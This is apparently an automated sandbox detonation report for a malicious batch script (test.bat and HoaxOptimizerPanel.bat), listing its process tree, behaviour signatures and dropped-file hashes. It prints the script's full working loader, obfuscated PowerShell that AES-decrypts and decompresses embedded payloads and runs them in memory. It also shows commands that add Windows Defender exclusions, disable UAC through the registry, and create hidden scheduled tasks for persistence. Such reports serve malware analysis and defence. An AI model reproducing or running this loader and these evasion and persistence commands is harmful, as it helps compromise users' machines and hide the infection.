PID 2396 wrote to memory of 3572 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1576 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1984 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 788 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 3360 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1192 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 796 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1976 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1816 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2396 wrote to memory of 652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 652 wrote to memory of 1016 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 652 wrote to memory of 1016 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1BlxKYbfCVoW1fR575JpYcE/KsQ0rUHg1tVhmltPLCk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rRTuKDIQEGcdSXtDLHANQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qamEH=New-Object System.IO.MemoryStream(,$param_var); $sHZaA=New-Object System.IO.MemoryStream; $ZdFgS=New-Object System.IO.Compression.GZipStream($qamEH, [IO.Compression.CompressionMode]::Decompress); $ZdFgS.CopyTo($sHZaA); $ZdFgS.Dispose(); $qamEH.Dispose(); $sHZaA.Dispose(); $sHZaA.ToArray();}function execute_function($param_var,$param2_var){ $OnvRS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZBTsG=$OnvRS.EntryPoint; $ZBTsG.Invoke($null, $param2_var);}$wrBcB = 'C:\Users\Admin\AppData\Local\Temp\test.bat';$host.UI.RawUI.WindowTitle = $wrBcB;$YUIQp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wrBcB).Split([Environment]::NewLine);foreach ($AMvFX in $YUIQp) { if ($AMvFX.StartsWith('fudwHZInzyQEBLlpmBjX')) { $ePZLV=$AMvFX.Substring(20); break; }}$payloads_var=[string[]]$ePZLV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_311_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.vbs"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.bat" "

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1BlxKYbfCVoW1fR575JpYcE/KsQ0rUHg1tVhmltPLCk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rRTuKDIQEGcdSXtDLHANQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qamEH=New-Object System.IO.MemoryStream(,$param_var); $sHZaA=New-Object System.IO.MemoryStream; $ZdFgS=New-Object System.IO.Compression.GZipStream($qamEH, [IO.Compression.CompressionMode]::Decompress); $ZdFgS.CopyTo($sHZaA); $ZdFgS.Dispose(); $qamEH.Dispose(); $sHZaA.Dispose(); $sHZaA.ToArray();}function execute_function($param_var,$param2_var){ $OnvRS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZBTsG=$OnvRS.EntryPoint; $ZBTsG.Invoke($null, $param2_var);}$wrBcB = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.bat';$host.UI.RawUI.WindowTitle = $wrBcB;$YUIQp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wrBcB).Split([Environment]::NewLine);foreach ($AMvFX in $YUIQp) { if ($AMvFX.StartsWith('fudwHZInzyQEBLlpmBjX')) { $ePZLV=$AMvFX.Substring(20); break; }}$payloads_var=[string[]]$ePZLV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HoaxOptimizerPanel.bat" "

C:\Windows\system32\reg.exe

Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f

C:\Windows\system32\mode.com

mode 145,30

C:\Windows\system32\reg.exe

reg add HKLM /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"

C:\Windows\system32\reg.exe

reg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Windows\System32\mousocoreworker.exe

C:\Windows\System32\mousocoreworker.exe -Embedding

C:\Users\Admin\AppData\Roaming\Microsoft Edge

"C:\Users\Admin\AppData\Roaming\Microsoft Edge"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp

Files

memory/2084-0-0x00007FF8D7E43000-0x00007FF8D7E45000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_412rcdwz.3wn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2084-10-0x000001DB25650000-0x000001DB25672000-memory.dmp

memory/2084-11-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp

memory/2084-12-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp

memory/2084-13-0x000001DB25A40000-0x000001DB25A84000-memory.dmp

memory/2084-14-0x000001DB25B10000-0x000001DB25B86000-memory.dmp

memory/2084-15-0x000001DB259F0000-0x000001DB259F8000-memory.dmp

memory/2084-16-0x000001DB25B90000-0x000001DB25C2C000-memory.dmp

memory/3336-18-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp

memory/3336-19-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp

memory/3336-20-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp

memory/3336-32-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.vbs

MD5 834a4b3a650a6c9f40a352e12717071e
SHA1 30c64633b08e6ca6680742e130ea15d0c849581c
SHA256 07f05b7c89d6032f96909ce3086524bf207398bb7cad96da9a83a7321edaf0d0
SHA512 2493546b729f07099078c35d7ca68b1220ac0bca2b694c03b0164bdbe27c42499bdd78dba5817b095166b9f7e151f8bcfe955afe5baf6c08beb0b9d0d40c3cba

C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.bat

MD5 94e28aa56dafca77fbfe716c9ab851b2
SHA1 51346ddc5d2db8392ee4e4b82229cb08f00eb697
SHA256 243eaf0948c59279e8e61eea27e810d314f81679bb4d688d3226b7fb55546a67
SHA512 719f8344aabf35d9acfdc68ec83b6b73b06b2e498cf264890f19fdb997acf92b9965d687c6e724588bc8981a72b8ca01e8779579a094c83cbfbf608e578f4455

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

memory/2084-50-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp

memory/3448-51-0x0000000007FA0000-0x0000000007FCA000-memory.dmp

memory/3448-97-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/2556-98-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1564-103-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1748-105-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1080-112-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1088-111-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1684-110-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/2488-109-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1916-108-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1344-106-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/760-104-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1296-113-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/2308-107-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/2904-100-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/788-102-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/400-101-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/968-99-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/1976-114-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp

memory/2396-145-0x0000026CDF170000-0x0000026CDF1A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\HoaxOptimizerPanel.bat

MD5 e03a31f264e58472bd637efcad0d1a03
SHA1 3796dd30aebcf3aa6d006d5dddd7d2864e14963e
SHA256 2097980870ce3cb140d151b4e681a4ee28d6d27e751727a84b929b4e03d48673
SHA512 ccfc0eeeb3a8a758bea0d3c85df3fee825516f416d429d3f1bd4d40797a989485ca3b6c12a827b1525bef2c17f86fe26c8bc30cc5eae025af039fa2d4535202d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a37d50419f9463557ba395bd8249f5b6
SHA1 1e94df7e8e5250fe70562bf4d5538c63b3171851
SHA256 7e12a5fac8da60dc67fd5d691fe4ee244d974c07d579488863558c9ebe14c1fa
SHA512 cdd4fa55ab83ed2c68d8df444755a374899bb6b6f8fd829a014b3fc2f4e17536e357a288bc8209432aa2992a35f7d1df0e04c9bc82af46e04c89b69302f1a238

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2d06ce10e4e5b9e174b5ebbdad300fad
SHA1 bcc1c231e22238cef02ae25331320060ada2f131
SHA256 87d1dd56f12a88907ba5aebca8d555443d6f77ed214497277cc8bcd31c669f2c
SHA512 38cfbeb59605854ae4fcfae8619a6b26bd916148acfb5636383672a3960b45ca41fed5c241f97465129e92eaf78c4c85dcf258f1ab501a2bf771287ce04f76a7

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b7189719e6df2c3dfc76197ec3f31f7a
SHA1 effd91412deadc87cc10ef76cdecc1e0b54b6d41
SHA256 1c72fa37d078b92c7e900b2e3d17c43c34d936a696a8ddf6c519f4a80308b892
SHA512 2df1f1d45844da7ffb17cdfb411f223e9c614c00f5cf7eb5ba92bf7ba174875af2a515371208286c95c0479c934ae2c6a83dfc0b54380be89db1eddd19faf978

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 1e8e2076314d54dd72e7ee09ff8a52ab
SHA1 5fd0a67671430f66237f483eef39ff599b892272
SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 0b990e24f1e839462c0ac35fef1d119e
SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 7d612892b20e70250dbd00d0cdd4f09b
SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

MD5 8abf2d6067c6f3191a015f84aa9b6efe
SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

MD5 f313c5b4f95605026428425586317353
SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

C:\Users\Admin\AppData\Roaming\Microsoft Edge

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 13:33

Reported

2024-06-14 13:36

Platform

win7-20240611-en

Max time kernel

119s

Max time network

124s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\test.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2988 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2988 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2988 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2988 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\test.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1BlxKYbfCVoW1fR575JpYcE/KsQ0rUHg1tVhmltPLCk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rRTuKDIQEGcdSXtDLHANQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qamEH=New-Object System.IO.MemoryStream(,$param_var); $sHZaA=New-Object System.IO.MemoryStream; $ZdFgS=New-Object System.IO.Compression.GZipStream($qamEH, [IO.Compression.CompressionMode]::Decompress); $ZdFgS.CopyTo($sHZaA); $ZdFgS.Dispose(); $qamEH.Dispose(); $sHZaA.Dispose(); $sHZaA.ToArray();}function execute_function($param_var,$param2_var){ $OnvRS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZBTsG=$OnvRS.EntryPoint; $ZBTsG.Invoke($null, $param2_var);}$wrBcB = 'C:\Users\Admin\AppData\Local\Temp\test.bat';$host.UI.RawUI.WindowTitle = $wrBcB;$YUIQp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wrBcB).Split([Environment]::NewLine);foreach ($AMvFX in $YUIQp) { if ($AMvFX.StartsWith('fudwHZInzyQEBLlpmBjX')) { $ePZLV=$AMvFX.Substring(20); break; }}$payloads_var=[string[]]$ePZLV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

Network

N/A

Files

